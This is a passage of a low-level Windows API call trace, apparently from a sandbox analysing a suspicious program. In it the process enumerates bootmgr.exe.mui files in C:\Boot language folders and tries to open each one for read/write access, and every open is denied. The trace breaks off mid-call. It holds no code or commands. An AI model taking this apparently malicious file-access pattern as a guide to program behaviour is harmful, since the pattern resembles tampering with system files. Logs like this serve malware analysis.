GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.100] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0151.100] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.100] GetLastError () returned 0x5 [0151.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.100] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0151.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.101] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-BR", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.101] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0151.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.101] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0151.101] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.101] GetLastError () returned 0x5 [0151.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.101] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0151.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.102] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-PT", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.102] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0151.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.102] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0151.102] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.102] GetLastError () returned 0x5 [0151.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.103] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0151.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.103] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ru-RU", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.103] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0151.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.103] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0151.103] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.103] GetLastError () returned 0x5 [0151.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.104] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0151.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.104] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\sv-SE", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.104] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.104] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0151.104] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.104] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0151.104] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.105] GetLastError () returned 0x5 [0151.105] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.105] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.105] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.105] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0151.105] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.105] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.105] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.105] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.105] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\tr-TR", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.105] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.105] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.105] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0151.105] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.105] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0151.106] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.106] GetLastError () returned 0x5 [0151.106] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.106] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.106] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.106] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0151.106] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.106] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.106] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.106] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.106] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-CN", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.106] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.106] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.106] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0151.106] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.107] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0151.107] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.107] GetLastError () returned 0x5 [0151.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.107] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0151.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0151.107] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0151.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0151.107] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-HK", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0151.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0151.107] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.107] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0151.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0151.108] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0151.108] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.108] GetLastError () returned 0x5 [0151.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0151.108] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0151.108] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0151.108] GetFileAttributesExW (in: 